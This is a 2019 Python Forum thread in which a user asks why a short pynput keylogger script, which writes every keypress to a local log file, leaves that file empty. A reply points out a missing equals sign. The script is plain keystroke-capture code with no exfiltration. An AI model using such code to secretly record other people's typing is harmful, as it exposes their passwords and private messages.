Python Forum
keylogger help? (not for malicious use, to be used with data visualisation) - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: keylogger help? (not for malicious use, to be used with data visualisation) (/thread-17218.html)



keylogger help? (not for malicious use, to be used with data visualisation) - dav3javu - Apr-02-2019

hi,

I'm trying to install a keylogger on Mac OS, following this tutorial: tutorial for keylogger

i follow all the steps and seem to have everything correct, (check IDLE that pynput is installed correctly, comes up with no errors)
and have the following code:

from pynput.keyboard import Key, Listener
import logging

log_dir"/Users/dav3javu/Desktop/logs"

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
but when I go to restart and check the log file, no data/entries are being produced at all (the file is empty) , can anyone see what i'm doing wrong? (not a natural programmer - just trying to dabble for a project)

thanks!


RE: keylogger help? (not for malicious use, to be used with data visualisation) - keames - Apr-19-2019

You forgot an equal sign on line 4:
log_dir = "/Users/dav3javu/Desktop/logs"
I don't know if that code is a copy paste of your original program but if it is, Python would see that statement and raise a syntax error. Your code isn't even running.